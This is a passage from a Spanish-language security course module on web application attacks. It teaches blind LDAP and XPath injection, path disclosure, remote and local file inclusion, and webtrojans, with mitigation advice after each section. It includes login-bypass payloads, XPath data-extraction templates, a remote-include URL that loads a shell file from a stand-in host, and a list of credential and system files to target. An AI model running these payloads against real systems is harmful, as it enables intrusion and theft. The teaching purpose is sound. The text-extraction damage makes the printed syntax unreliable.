bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se
puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-
teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-
zando un recorrido de la siguiente forma
(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))
(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))
De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan
devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-
car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de
los caracteres utilizando los operadores relacionales lt= o gt= para reducir el
nuacutemero de peticiones
En los atributos que almacenan valores numeacutericos no es posible utilizar el co-
modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-
rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=
(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))
223 Blind LDAP Injection en un entorno ldquoORrdquo
En esta situacioacuten tenemos una consulta generada en el lado del servidor del
siguiente tipo
(|(atributo1=valor1)(atributo2=valor2))
En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar
el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor
siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos
una inyeccioacuten de la siguiente forma
(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))
CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web
Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo
planteado de las impresoras disponibles deberemos obtener un resultado sin
el icono de la impresora Luego podremos inferir la informacioacuten cuando sea
verdadero el segundo filtro
(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))
(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))
De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda
la informacioacuten del aacuterbol LDAP utilizando los comodines
224 Ejemplos Blind LDAP Injection
Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado
dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En
la siguiente figura se pueden ver los atributos de un objeto de tipo Printer
Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer
Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros
repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una
aplicacioacuten programada en php llamada printerstatusphp que recibe co-
mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de
la siguiente forma
(amp(cn=HP Laserjet 2100)(objectclass=printer))
El resultado es una paacutegina web en la que se accede a propiedades de la impre-
sora en concreto
CC-BY-NC-ND bull PID_00191662 44 Ataques a aplicaciones web
Figura 30 Propiedades de la impresora HP LaserJet 2100
El paraacutemetro idprinter se utiliza para construir la consulta LDAP y es vul-
nerable a LDAP Injection sin embargo no se muestra ninguno de los datos de
los objetos que se puedan seleccionar con cualquier consulta ejecutada por
lo que uacutenicamente se puede realizar una explotacioacuten a ciegas Las siguientes
capturas muestran ejemplos de coacutemo extraer informacioacuten del aacuterbol LDAP me-
diante Blind LDAP Injection
1)Fase1descubrimientodeatributos
El atacante inyecta atributos para descubrir si existen o no Cuando el atributo
no existe la consulta LDAP no devuelve ninguacuten objeto y la aplicacioacuten no
muestra datos de ninguna impresora
Hay que tener en cuenta que el comodiacuten vale uacutenicamente para los valores de
tipo alfanumeacutericos luego si el atributo fuera de otro tipo no se podriacutea descubrir
asiacute Para los tipos numeacutericos y de tipo fecha se utilizan los operadores gt= lt=
o = y para los booleanos las constantes true y false
Figura 31 Atributo IPaddress no existe o no tiene valor alfanumeacuterico
En el siguiente ejemplo el atributo distinguisedname existe y ademaacutes es de
tipo alfanumeacuterico ya que funciona perfectamente con el comodiacuten ldquordquo Esto
se puede comprobar porque la paacutegina de resultados ha devuelto datos de la
impresora que se estaba utilizando
CC-BY-NC-ND bull PID_00191662 45 Ataques a aplicaciones web
Figura 32 Atributo distinguisedname existe y tiene valor alfanumeacuterico
Como se puede ver hay diferencias entre las paacuteginas que devuelven datos y las
que no con lo que se puede automatizar la extraccioacuten de toda la informacioacuten
y el descubrimiento de los atributos simplemente comparando los resultados
HTML obtenidos
En la figura 33 se obtiene de nuevo un resultado positivo que confirma la
existencia de un atributo department
Figura 33 Atributo Department existe y tiene valor Unicode extraiacuteble
2)Fase2reduccioacutendelalfabeto
Una de las opciones que se pueden sopesar es realizar una reduccioacuten del al-
fabeto posible de valores en un campo La idea consiste en saber si existe o
no un determinado caraacutecter en un atributo Si el atributo tiene 15 caracteres
de longitud y tenemos que probar por ejemplo 28 letras por 15 caracteres
tendriacutean que realizarse un total de 420 peticiones para extraer la informacioacuten
Sin embargo se puede realizar un recorrido que nos diga si una letra pertene-
ce o no al valor De esa manera realizariacuteamos primero 28 peticiones que nos
dejaraacuten en el peor de los casos una letra distinta por cada posicioacuten es decir
15 letras Luego en el peor de los casos tendriacuteamos 15 letras x 15 posiciones
+ 28 peticiones de reduccioacuten del alfabeto es decir 253 peticiones Ademaacutes se
puede inferir que si una letra ya ha sido utilizada puede que no se vuelva a
utilizar con lo que tendriacuteamos una reduccioacuten auacuten mayor si la letra se utiliza
como uacuteltima opcioacuten dejando la probabilidad en un sumatorio de 115 + 28
es decir 148 peticiones
CC-BY-NC-ND bull PID_00191662 46 Ataques a aplicaciones web
Como conclusioacuten se puede obtener que la reduccioacuten del alfabeto es una buena
opcioacuten a la hora de extraer valores de campos
En los siguientes ejemplos vamos a ver coacutemo averiguar si un caraacutecter pertenece
o no al valor del campo
Figura 34 La letra b no pertenece al valor del atributo department porque no se obtienendatos
Figura 35 La letra n siacute que pertenece al valor del atributo department porque siacute que seobtienen datos
Esta reduccioacuten dejariacutea un conjunto de valores vaacutelidos que pueden emplearse
para extraer el valor del dato mediante un proceso de despliegue
3)Fase3despliegue
En esta fase una vez reducido el alfabeto hay que ordenar las letras obtenidas
para ello comenzaremos un proceso desde la primera posicioacuten
Figura 36 El valor de department no comienza por la letra a porque no se obtienen datos
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
